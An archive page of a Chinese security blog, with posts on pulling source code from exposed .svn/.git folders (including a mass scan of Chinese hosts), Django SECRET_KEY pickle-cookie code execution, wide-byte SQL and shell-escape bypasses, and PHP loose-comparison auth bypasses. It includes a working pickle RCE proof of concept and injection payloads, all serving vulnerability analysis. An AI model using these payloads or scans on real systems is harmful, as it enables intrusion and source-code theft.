xxlegend


  • 首页

  • 分类

  • 关于

  • 归档

  • 标签

  • 站点地图

  • 搜索

SVN和GIT信息泄漏利用原理及现状

发表于 2015-04-01 | 分类于 信息泄露 | | 阅读次数

1,google hack

svn 搜索技巧
图1
git 搜索技巧
图2

2,svn信息利用原理

2.1 svn<=1.6

从svn的结构图可以看到一个目录text-base,这里有我们源文件的备份,比如要下载somedomain/phpinfo.php,直接访问目录somedomain/.svn/text-base/phpinfo.php.text-base,一般的服务器既不会阻止该目录也不会解释该后缀,我们就可以直接读到本地来。现在只是访问最顶层的文件信息,那怎么遍历呢?这里面就有.svn/entries,这个文件包含着该基础目录下所有的文件和目录,直接递推查找就行。

2.2 svn>1.6

svn在1.6之后引入了wc.db来管理文件,该文件位于.svn/wc.db。普通文件位置:somedomain/.svn/pristine/“XX”/“CHECKSUM”.svn-base,CHECKSUM是文件的sha1值,xx则是他的前两位。那这个CHECKSUM去哪找呢?就是我们刚才提到的wc.db,这是一个sqlite数据库。数据库的大体结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
$ sqlite3 wc.db .tables
ACTUAL_NODE NODES PRISTINE WC_LOCK
EXTERNALS NODES_BASE REPOSITORY WORK_QUEUE
LOCK NODES_CURRENT WCROOT
$ sqlite3 wc.db 'select local_relpath, checksum from NODES'
index.php|$sha1$4e6a225331f9ae872db25a8f85ae7be05cea6d51
scripts/menu.js|$sha1$fabeb3ba6a96cf0cbcad1308abdbe0c2427eeebf
style/style.js|$sha1$2cc5590e0ba024c3db77a13896da09b39ea74799
$ sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;'
index.php|.svn/pristine/4e/4e6a225331f9ae872db25a8f85ae7be05cea6d51.svn-base
scripts/menu.js|.svn/pristine/fa/fabeb3ba6a96cf0cbcad1308abdbe0c2427eeebf.svn-base
style/style.js|.svn/pristine/2s/2cc5590e0ba024c3db77a13896da09b39ea74799.svn-base

第一步下载wc.db,然后从NODES表中找到文件名和其sha1值,最后构造下载链接。

3,git 信息利用原理

首先从git/config信息里面可以得到仓库地址

1
2
3
4
5
6
7
8
9
10
11
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
url = git@git.jingdigital.net:root/pcb001.git
[branch "master"]
remote = origin
merge = refs/heads/master

基本上三步走:
(1)下载.git/index文件,这是一种git特有的格式,在该文件中包含着文件名和文件SHA1值。
(2)根据该文件SHA1值到objects目录下载相应文件,具体路径somedomain/.git/objects/“XX”/“CHECKSUM”
(3)zlib解压文件,按照原始目录写入源代码。

4,对国内80端口的简单扫描

有了前面这些基础,就可以通过泄漏的信息来还原代码,能还原代码的话就可以干很多事了。最常见就是代码中泄漏email地址,数据库连接方式,调试接口,一些第三方key的泄漏。另外还可以对你感兴趣的目标进行代码审计,发现注入,命令执行等等。

4.1 扫描实现

(1)从文件读取80ip段数据,设最大并发16,最大连接数60,这个时候的带宽基本控制在600KB,利用周末时间跑了一天即可跑完。
(2)设置pycurl的一些参数,如PROXY,MAXREDIRS=0,这样就不跳转了,nosignal=1 这个参数必须为1,这是pycurl的一个bug,中间测试的过程中就是因为参数未加,导致跑了半天结果中途挂了。
(3)请求/.git/config信息,如果200,返回的类型为text/plain并且存在repositoryformatversion字段。请求/.svn/entries,如果200,Content-Type为text/plain,并且dir存在于返回值。其实这个是有误的,因为在svn大于1.6的情况下,在返回值中只有一个简单的数字,并不存在dir,所以扫描结果中基本上没有1.6以上的结果。

4.2 结果过滤

在扫描的结果中分析出现的url,有些.svn/entries返回200,但是首页确是有问题,还有发现某些ip不在中国。于是写了脚本去请求这些url的首页,并且从一个ip查询网站去查询ip地址归属。

4.3 初步结果

在525万80端口数据中,跑出6000条结果,相当于千分之一的概率,另外还未包括前面对svn 1.6判断有误的分析,所以这个概率还是很高的。
简单的分析了git信息的泄漏,总共有接近600条数据,去除在国外的和首页不正常的,能达到250多,其中差不多一半的都是在阿里云的ip上,这些公司一般都是创业公司。在这些泄漏的代码中sql注入一般很少。
svn的话,一般都是一些比较老的网站,这主要可能还是我前面的判断逻辑有点小问题。注入问题比较严重。

从Django的SECTET_KEY到代码执行

发表于 2015-04-01 | 分类于 Python | | 阅读次数

1 背景

最近审查代码发现某些产品在登录的JS代码中泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

2 SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:
1,json object的签名
2,加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行

3 代码执行

3.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

3.2 django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

3.3 session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码

1
2
3
4
5
class SessionMiddleware(object):
def process_request(self, request):
engine = import_module(settings.SESSION_ENGINE)
session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)
request.session = engine.SessionStore(session_key)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raises BadSignature if signature fails
"""
base64d = smart_str(
TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
decompress = False
if base64d[0] == '.':
# It's compressed; uncompress it first
base64d = base64d[1:]
decompress = True
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)

3.4 构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
class Run(object):
def __reduce__(self):
return (os.system,('touch /tmp/xxlegend.log',))
sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
print sess
import urllib2
import cookielib
url = 'http://10.24.35.228:8000/favicon.ico'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)
response = urllib2.urlopen(request)
print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。

https://github.com/danghvu/pwp/blob/master/exploit.py
https://fail0verflow.com/blog/2014/plaidctf2014-web200-reeekeeeeee.html
https://systemoverlord.com/blog/2014/04/14/plaidctf-2014-reekeeeee/
http://www.shysecurity.com/post/Reekee
http://python.usyiyi.cn/django/topics/http/sessions.html
https://github.com/django/django/blob/stable/1.5.x/django/core/signing.py
http://stackoverflow.com/questions/15170637/effects-of-changing-djangos-secret-key/15383766?noredirect=1#comment21743494_15383766

Django安全机制

发表于 2015-04-01 | 分类于 Django | | 阅读次数

#1 xss
django 已经能防范95%的xss问题,主要原理就是将<,>,&做了转化,但是如下情况还是无能为力
(1)属性有动态内容,正确:<img alt="{{good}}">,错误:<img alt={{bad}}>,请确保加上双引号。
(2)插入到CSS中的数据(style 标签和属性),以及javascript(script标签,事件处理器,onclick等其他属性),在这些标签内请手动escape.
(3)还有就是使用了mark_safe跳过了template默认机制或者autoescape关闭了。
(4)涉及到dom类型的xss,如document.write等
(5)HttpResponse返回动态内容
另外注意属性中包含url(href,img src)时验证url协议在白名单内(如http,https,mailto,ftp)

#2 csrf
1,确保django.middleware.csrf.CsrfViewMiddleware已经开启 在settings.py中,默认是存在的。
2,在所有的post表单中中添加了csrf_token,如

{% csrf_token %}
3,在相应的view函数中,使用了django.template.context_processors.csrf,用法有两种,一个是RequestContext,另外就是手工引入,如下是手工引入:
1
2
3
4
5
6
7
8
from django.shortcuts import render_to_response
from django.template.context_processors import csrf
def my_view(request):
c = {}
c.update(csrf(request))
# ... view code here
return render_to_response("a_template.html", c)

@csrf_exempt装饰器是去除csrf防护,另外内置的CSRF保护机制对子域也是无能为力,比如应用在example.com,有一个子域alice.example.com放置用户可控制的内容,这个时候csrf机制是不起作用的.
最后注意不要使用get请求去做增删改操作,否则内置的CSRF机制也是无效的.

#3 sql注入
直接拼接的sql会有注入风险,那如何避免呢?使用django的数据库api,会根据对应的数据库加过滤,但是有两个例外:
(1)extra方法中的where参数处,这个参数是故意设计成接受原始SQL;
extra的正确用法:
Entry.objects.extra(where=['headline=%s'], params=['Lennon'])
错误用法:
Entry.objects.extra(where=["headline='Lennon'"])
(2)直接使用低层次的数据库api,如execute,raw,可以采用cursor.execute(sql, [user])方式避免,但是部分时候是失效的,如表的位置,列的位置,这种情况下可以使用django.db.connection.ops.quote_name来自己手工加过滤
在有params的情况下,django会正确的转义,没有params的情况则不行。正确做法:

1
2
3
4
5
6
7
8
from django.db import connection
def user_contacts(request):
user = request.GET['username']
sql = "SELECT * FROM user_contacts WHERE username = %s"
cursor = connection.cursor()
cursor.execute(sql, [user])
# ... do something with the results

#4 点击劫持
django已经有X-Frame-Options middleware来处理,强烈建议添加

#5 host头验证
使用django.http.HttpRequest.get_host() 可以获取到host,有伪造的话直接报错了,如果直接访问request.META则没有这效果

#6 文件上传
django的imageField只会判断上传的文件是否有一个合法的png头,所以基本上无法限制有害文件的上传。
(1)另建一个文件服务器
(2)限制文件大小,防止dos攻击,如设置apache的LimitRequestBody大小
(3)确保文件不可执行
(4)传到二级域名上,比如说传到usercontent-example.com上而不是usercontent.example.com上
(5)限制文件上传的类型

#7 email头注入
用于发送垃圾邮件,hacker发送如下:hello\ncc:spamvictim@example.com 就转变成了
To: hardcoded@example.com Subject: hello cc: spamvictim@example.com 可使用djaong.core.mail来发送,他是不允许任意字段中包含newlines

#8 目录遍历
目录遍历也算一种注入,主要是突破目录限制读取或者写入文件,django中内置的静态内容视图就是一个做转义很好的例子(django.views.static),相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import posixpath
path = posixpath.normpath(urllib.unquote(path))
newpath = ''
for part in path.split('/'):
if not part:
# strip empty path components
continue
drive, part = os.path.splitdrive(part)
head, part = os.path.split(part)
if part in (os.curdir, os.pardir):
# strip '.' and '..' in path
continue
newpath = os.path.join(newpath, part).replace('\\', '/')

从escapeshellcmd bypass说起到宽字节注入

发表于 2015-03-01 | 分类于 mysql | | 阅读次数

1 php 多字节绕过escapeshellcmd

escapeshellcmd()对shell元字符过滤加反斜杠;
反斜线(\)会在以下字符之前插入: #&;`|*?~<>^()[]{}$\, \x0A 和 \xFF,但在php5.2.5及之前存在通过输入多字节绕过escapeshellcmd的问题。5.2.6 已经修复了该问题。

执行 escapeshellcmd(“echo “.chr(0xc0).”;id”);
加上反斜杠之后,也就是echo \xc0\x5c;id,在中文环境中\xc0\x5c是会被认为是gbk字符的。

1
2
3
4
5
6
7
>>> hex(ord('\\'))
'0x5c'
>>> s='\xc0\x5c'
>>> print s.decode('gbk').encode('utf8')
繺
>>> s.decode('gbk').encode('utf8')
'\xe7\xb9\xba'

\被吃掉之后于是就变成了echo 繺;id 了。
gbk是宽字节,两个字节,gbk字符范围:8140-FEFE,首字节在81-FE直接,尾字节在40-FE之间,显然5C在尾字节中。考虑0xbf;id,escape之后就变成了0xbf5c;id,0xbf5c是一个合法的GBK编码,那就变成了[0xbf5c];id了。而utf8表示中文一般三个字节。
同样受影响的还有escapeshellarg(),源码中的处理是一个字节一个字节来处理的。这种漏洞应该有一定普遍性,在当时来说。下面我们看下修复的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
char *php_escape_shell_cmd(char *str) {
register int x, y, l;
char *cmd;
char *p = NULL;
TSRMLS_FETCH();
l = strlen(str);
cmd = safe_emalloc(2, l, 1); //申请了2倍字符
for (x = 0, y = 0; x < l; x++) {
int mb_len = php_mblen(str + x, (l - x));
//这一段是5.2.6新加的,就是在处理多字节符号的时候,当多字节字符小于0的时候不处理,大于1的时候跳过,等于1的时候执行过滤动作
/* skip non-valid multibyte characters */
if (mb_len < 0) {
continue;
} else if (mb_len > 1) {
memcpy(cmd + y, str + x, mb_len);
y += mb_len;
x += mb_len - 1;
continue;
}
switch (str[x]) {
case '"':
case '\'':
#ifndef PHP_WIN32
if (!p && (p = memchr(str + x + 1, str[x], l - x - 1))) {
/* noop */
} else if (p && *p == str[x]) {
p = NULL;
} else {
cmd[y++] = '\\';
}
cmd[y++] = str[x];
break;
#endif
case '#': /* This is character-set independent */
case '&':
case ';':
case '`':
case '|':
case '*':
case '?':
case '~':
case '<':
case '>':
case '^':
case '(':
case ')':
case '[':
case ']':
case '{':
case '}':
case '$':
case '\\':
case '\x0A': /* excluding these two */
case '\xFF':
#ifdef PHP_WIN32
/* since Windows does not allow us to escape these chars, just remove them */
case '%':
cmd[y++] = ' ';
break;
#endif
cmd[y++] = '\\';
/* fall-through */
default:
cmd[y++] = str[x];
}
}
cmd[y] = '\0';
return cmd;
}

这个bypass已经成为过去时了,但是还是有很大的借鉴意义,就是宽字节注入,这种情况不仅仅发生命令注入时,更多的时候在sql注入,下面来分析一下宽字节注入如下三种情况,都是由于宽字节的问题导致的。

2 宽字节sql注入

1,一种情况 iconv转换,addslashes之后从gbk转到utf8

1
2
3
4
5
6
7
8
9
10
11
12
$user = $_POST[ 'username' ];
$user = addslashes($user);
$user = iconv("gbk", 'utf8', $user);
$pass = $_POST[ 'password' ];
$pass = md5( $pass );
$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
print_r($qry);
$result = @mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
var_dump($result);

处理过程如下:
%bf%27—-(addslashes)->%bf%5c%27—–(utf8)—->縗’ 这样单引号就放出来了,大体流程是%bf%27经过addslashes之后变成了%bf%5c%27,再经过iconv从gbk转换为utf8的时候,变成了%e7%b8%97%27,也就是縗’。利用的前提是设置了set names utf8。

2,在php中使用mysql_query(‘set names gbk’),指定了客户端,连接层,结果为gbk编码。构造数据%bf%27,过程和第一种情况类似
%bf%27—(addslashes)–>%bf%5c%27—(set names gbk)—>縗’

3,iconv转换从utf8到gbk,set names字符集为gbk,构造数据如下%e9%8c%a6带入反斜杠\,注释掉单引号
大体数据流程:%e9%8c%a6—–(utf8)—-%e5%5c—-(addslashes)—>%e5%5c%5c

1
2
3
4
5
>>> s = '\xe9\x8c\xa6'
>>> s.decode('utf8')
u'\u9326'
>>> s.decode('utf8').encode('gbk')
'\xe5\\'

总之一条,都是打的%5c的注意,要么转义后转utf8吃掉%5c,要么转utf8后再转义放出%5c

参考:
http://seclists.org/bugtraq/2008/May/61
http://www.sektioneins.de/en/advisories/advisory-032008-php-multibyte-shell-command-escaping-bypass-vulnerability.html
http://php.net/ChangeLog-5.php
http://php.net/releases/

Php比较操作符带来的安全问题

发表于 2015-01-01 | 分类于 Php | | 阅读次数

1 比较操作符

php的比较操作符有==(等于)松散比较,===(完全等于)严格比较,这里面就会引入很多有意思的问题。在松散比较的时候,php会将他们的类型统一,比如说字符到数字,非bool类型转换成bool类型,为了避免意想不到的运行效果,应该使用严格比较。如下是php manual上的比较运算符表:

1
2
3
4
5
6
7
8
9
10
例子 名称 结果
$a == $b 等于 TRUE,如果类型转换后 $a 等于 $b。
$a === $b 全等 TRUE,如果 $a 等于 $b,并且它们的类型也相同。
$a != $b 不等 TRUE,如果类型转换后 $a 不等于 $b。
$a <> $b 不等 TRUE,如果类型转换后 $a 不等于 $b。
$a !== $b 不全等 TRUE,如果 $a 不等于 $b,或者它们的类型不同。
$a < $b 小与 TRUE,如果 $a 严格小于 $b。
$a > $b 大于 TRUE,如果 $a 严格大于 $b。
$a <= $b 小于等于 TRUE,如果 $a 小于或者等于 $b。
$a >= $b 大于等于 TRUE,如果 $a 大于或者等于 $b。

2 安全问题

2.1 hash比较缺陷

php在处理hash字符串的时候会用到!=,==来进行hash比较,如果hash值以0e开头,后边都是数字,再与数字比较,就会被解释成0*10^n还是为0,就会被判断相等,绕过登录环节。

1
2
3
4
root@kali:~/tool# php -r 'var_dump("00e0345" == "0");var_dump("0e123456789"=="0");var_dump("0e1234abc"=="0");'
bool(true)
bool(true)
bool(false)

当全是数字的时候,宽松的比较会执行尽力模式,如0e12345678会被解释成0*10^12345678,除了e不全是数字的时候就不会相等,这能从var_dump("0e1234abc"=="0")可以看出来。

2.2 bool 欺骗

当存在json_decode和unserialize的时候,部分结构会被解释成bool类型,也会造成欺骗。json_decode示例代码:

1
2
3
4
5
6
$json_str = '{"user":true,"pass":true}';
$data = json_decode($json_str,true);
if ($data['user'] == 'admin' && $data['pass']=='secirity')
{
print_r('logined in as bool'."\n");
}

运行结果:

1
2
root@kali:/var/www# php /root/php/hash.php
logined in as bool

unserialize示例代码:

1
2
3
4
5
6
$unserialize_str = 'a:2:{s:4:"user";b:1;s:4:"pass";b:1;}';
$data_unserialize = unserialize($unserialize_str);
if ($data_unserialize['user'] == 'admin' && $data_unserialize['pass']=='secirity')
{
print_r('logined in unserialize'."\n");
}

运行结果如下:

1
2
root@kali:/var/www# php /root/php/hash.php
logined in unserialize

2.3 数字转换欺骗

1
2
3
4
5
6
7
8
9
$user_id = ($_POST['user_id']);
if ($user_id == "1")
{
$user_id = (int)($user_id);
#$user_id = intval($user_id);
$qry = "SELECT * FROM `users` WHERE user_id='$user_id';";
}
$result = mysql_query($qry) or die('<pre>' . mysql_error() . '</pre>' );
print_r(mysql_fetch_row($result));

将user_id=0.999999999999999999999发送出去得到结果如下:

1
2
3
4
5
6
7
8
9
Array
(
[0] => 0
[1] => lxx'
[2] =>
[3] =>
[4] =>
[5] =>
)

本来是要查询user_id的数据,结果却是user_id=0的数据。int和intval在转换数字的时候都是就低的,再如下代码:

1
2
3
4
5
6
if ($_POST['uid'] != 1) {
$res = $db->query("SELECT * FROM user WHERE uid=%d", (int)$_POST['uid']);
mail(...);
} else {
die("Cannot reset password of admin");
}

假如传入1.1,就绕过了$_POST[‘uid’]!=1的判断,就能对uid=1的用户进行操作了。另外intval还有个尽力模式,就是转换所有数字直到遇到非数字为止,如果采用:

1
2
3
4
if (intval($qq) === '123456')
{
$db->query("select * from user where qq = $qq")
}

攻击者传入123456 union select version()进行攻击。

2.4 PHP5.4.4 特殊情况

这个版本的php的一个修改导致两个数字型字符溢出导致比较相等

1
2
$ php -r 'var_dump("61529519452809720693702583126814" == "61529519452809720000000000000000");'
bool(true)

3 题外话:

同样有类似问题的还有php strcmp函数,manual上是这么解释的,int strcmp ( string $str1 , string $str2 ),str1是第一个字符串,str2是第二个字符串,如果str1小于str2,返回<0,如果str1>str2,返回>0,两者相等返回0,假如str2为一个array呢?

1
2
3
4
5
6
7
8
$_GET['key'] = array();
$key = "llocdpocuzion5dcp2bindhspiccy";
$flag = strcmp($key, $_GET['key']);
if ($flag == 0) {
print "Welcome!";
} else {
print "Bad key!";
}

运行结果:

1
2
3
root@kali:~/php# php strcmp.php
PHP Warning: strcmp() expects parameter 2 to be string, array given in /root/php/strcmp.php on line 13
Welcome!

参考:
1,http://phpsadness.com/sad/47
2,http://php.net/language.operators.comparison
3,http://indico.cern.ch/event/241705/material/slides/0.pdf

1…34
廖新喜

廖新喜

分享些安全编码,漏洞分析

35 日志
17 分类
124 标签
RSS
GitHub Twitter Weibo
© 2020 廖新喜
由 Hexo 强力驱动
主题 - NexT.Mist